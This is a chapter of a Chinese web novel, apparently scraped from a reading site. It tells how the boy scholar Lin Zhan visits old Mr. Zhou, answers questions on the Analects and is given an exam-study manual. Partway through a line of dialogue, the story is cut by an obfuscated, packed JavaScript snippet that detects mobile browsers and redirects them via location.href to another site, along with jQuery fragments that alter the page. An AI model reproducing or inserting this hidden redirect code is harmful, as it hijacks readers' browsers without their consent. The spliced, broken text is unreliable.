默认冷灰
24号文字
方正启体

48. 老童生的考校

作者:月亮下的小橙子本书字数:K更新时间:
    糖饼生意的红火让林湛手里渐渐有了些活钱,家里的日子眼见着松快了些。这日散学,周文渊破天荒地主动邀请林湛:“林师弟,今日……可否到寒舍一叙?家父听闻师弟近日所为,很是称许,想与你说说话。”


    林湛有些意外,随即点头应下。周文渊的父亲周老先生,他是知道的。村里为数不多的老童生,考了一辈子科举,最终止步于县试,如今在村中设了个小小蒙馆,教几个稚童启蒙。周文渊的学识根基扎实,多半得益于这位严父。


    周家住在村西头,两间旧瓦房带着个小院,比林家略齐整些,但也看得出清贫。院子里有棵老梅树,这时节正打着骨朵,墙角堆着些劈好的柴火,码得整整齐齐。


    周文渊引着林湛进屋。堂屋里陈设简单,却收拾得一尘不染。正中墙上挂着一幅泛黄的《松鹤延年图》,两侧是一副手书的对联:“守愚不觉世途险,无事始知春日长。”字迹端正清瘦,透着一股子读书人的执拗。


    周老先生正坐在窗边的旧藤椅上看书。他约莫五十许年纪,穿着洗得发白的青布长衫,身形清癯,面容严肃,鼻梁上架着副断了一条腿、用棉线缠住的眼镜。听见动静,他放下书,目光透过镜片投来。


    “父亲,这位便是林湛师弟。”周文渊恭敬道。


    林湛上前一步,依着弟子礼躬身:“学生林湛,见过周先生。”


    周老先生上下打量他片刻,严肃的脸上露出一丝极淡的笑意:“不必多礼。坐。”他指了指对面的条凳,又对周文渊道:“渊儿,去帮你母亲沏茶。”


    周文渊应声退下。林湛依言坐下,腰背挺直,双手规矩地放在膝上。


    “听渊儿说,你近日用那‘格物’之法,助赵家改良了糖饼,还以所得尽孝师亲。”周老先生声音不高,却字字清晰,“小小年纪,知进退,明事理,难得。”


    林湛谦道:“先生过奖。学生只是见铁柱家辛苦,胡乱出个主意,侥幸成了而已。孝养父母、敬重师长,本是应当。”


    “侥幸?”周老先生摇摇头,拿起手边的书——是本翻旧了的《大学章句》,“治生之道,亦是学问。你能察市井之需,改寻常之物,非有心思缜密、善观善思者不能为。这岂是‘胡乱’二字可蔽之?”


    他顿了顿,忽然问:“你既读圣贤书,可知‘生财有大道’之后一句?”


    林湛略一思索,答道:“‘生财有大道,生之者众,食之者寡,为之者疾,用之者舒,则财恒足矣。’”


    “嗯。”周老先生点点头,“那你改良糖饼,使赵家‘生之者众’‘为之者疾’,自家得利而不贪全功,令其‘财恒足’,可是暗合此理?”


    林湛心中微动,没想到这位老先生竟从这个角度解读。他老实回答:“学生当时未想这许多,只是觉得……与其大家都没钱,不如让有钱的活水流转起来。铁柱家赚了钱,会买布买粮,布庄粮铺有了生意,或许就能多雇个人、多进点货……慢慢地,沾到好处的人就多了。”


    周老先生听了,沉默良久。藤椅发出轻微的吱呀声。窗外传来周母和周文渊在灶间低语,还有碗碟轻碰的脆响。


    “好一个‘活水流转’。”老先生终于开口,语气里多了几分感慨,“此言虽直白,却暗合‘通功易事,以羡补不足’之旨。老夫教书多年,见过不少学子,能将经义背得滚瓜烂熟,一到实事便束手无策。你倒好,反其道而行——先做了实事,回头一看,竟与书里道理对上了。”


    他摘下那副破眼镜,用袖子擦了擦,重新戴上:“听渊儿说,你读书进境极快,见解常有独到之处。今日既来了,老夫便倚老卖老,考你一考。”


    林湛正襟危坐:“请先生赐教。”


    “不为难你,就说《论语》。”周老先生目光炯炯,“‘子曰:君子不器’。何解?”


    这是个常见题,但往往最能见功底。林湛沉吟片刻,没有直接背朱注,而是道:“学生浅见,器物各有用而局限,君子之学则求贯通。譬如……譬如学生做糖饼,若只知照方和面,便是‘器’;若能察糖、面、火候之理,因地制宜加以改良,乃至推及其他生计,便近乎‘不器’。读书亦然,若只求章句功名,便是‘器’;若能明道理、济世事,方是向‘君子’之途。”


    周老先生手指在膝盖上轻轻敲了敲,不置可否,又问:“那么,‘古之学者为己,今之学者为人’,你又如何看?”


    林湛想了想,道:“学生以为,‘为己’非自私,是求真正明理修身,如树木扎根;‘为人’非全错,但若只为炫耀、求名利,便是舍本逐末。好比学生读书,若只为让人夸一声‘神童’,便是‘为人’;若为明事理、担责任、让父母师长欣慰,这‘为人’中便也有‘为己’的根基在。二者或许……未必截然对立?”


    他说完,心里有些忐忑。这解释与传统训诂不太一样,怕老先生觉得离经叛道。


    不料周老先生听完,竟轻轻笑了一声。那笑容在他严肃的脸上漾开,如同冰面裂开细纹,透出底下温润的水光。


    “好,好。”他连说两个好字,“不泥古,不盲从,能思能辨。渊儿说你常有些‘奇怪却有理’的想法,果然不虚。”


    这时周文渊端着一个旧托盘进来,上面是两碗冒着热气的粗茶,还有一小碟撒了芝麻的糖饼——看模样,正是赵家新出的那种。周母跟在后面,是个面容慈和、衣着朴素的妇人,笑着对林湛说:“湛哥儿尝尝,你指点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179289|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    做的饼子,我们吃着都好。”


    林湛连忙起身道谢。周母摆摆手,又看了眼丈夫脸色,见他眉目舒展,便放心地退回灶间去了。


    三人喝茶吃饼。周老先生咬了一口饼,细嚼慢咽,忽然道:“这饼子,若放在三十年前,老夫或许会斥为‘奇技淫巧’,耽于小道。如今看来,却是错了。”


    他望向林湛,目光深远:“读书人常易犯的毛病,一是死读书,二是看不起‘小道’。殊不知,民生多艰,往往就在这些穿衣吃饭的‘小道’里。你能俯身看这些,又能抬头思经义,很好。”


    他放下茶碗,正色道:“林湛,你天资既高,心性亦正,更难得有这份踏实与灵动。切莫因家贫或年少而妄自菲薄。科举之路固然艰难,但以你之才,县试、府试当不在话下。老夫……当年便是心气太高,根基不牢,又拘泥章句,屡试不第,空耗岁月。”


    他说到这里,语气里有淡淡的唏嘘,随即又振作精神:“你与渊儿互相砥砺,是好事。往后读书有疑处,可随时来问。老夫虽功名未就,这些年倒攒下些心得,或许能供你参考避坑。”


    周文渊在一旁听着,眼睛微微发亮。父亲性子严肃,极少如此直接夸人,更少提及自身憾事。今日对林师弟这般推心置腹,显是真正看重。


    林湛起身,郑重长揖:“学生谢先生教诲,必不敢忘。”


    周老先生虚扶一下,又从身边小几上取过一本薄薄的、用蓝布精心包裹的书册:“这本《试艺管窥》,是老夫这些年对县试、府试文章要点的一些梳理,虽浅陋,或可一观。你拿去,与渊儿同看吧。”


    林湛双手接过,只觉得那书册不重,却似有千钧。


    告辞出门时,天色已近黄昏。周文渊送林湛到院门口,低声道:“林师弟,家父今日……很是高兴。”


    林湛拍拍怀里那本《试艺管窥》,诚心道:“周师兄,多谢。”


    “该我谢你。”周文渊难得露出明朗的笑容,“父亲许久未曾与人如此畅谈学问了。”


    两人作别。林湛走在回家的土路上,怀里揣着书,耳边还回响着老先生那些话。暮色四合,远处村落升起缕缕炊烟,不知谁家在炖肉,香气混着柴火味飘过来。


    路过铁柱家时,院门开着,里头传来赵婶响亮的声音:“……这批枣泥馅的明天先做五十个!铁柱,你记着给湛哥儿留几个最好的!”


    铁柱瓮声瓮气地应着:“知道啦娘!湛哥儿喜欢芝麻多的!”


    林湛没进去,只笑着摇摇头,继续往前走。手里的书贴着胸口,暖乎乎的。村道拐角处,几个孩童正点着捡来的短鞭炮,啪一声脆响,惊得路边的老黄狗吠了两声,随即又懒洋洋趴回草垛边。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)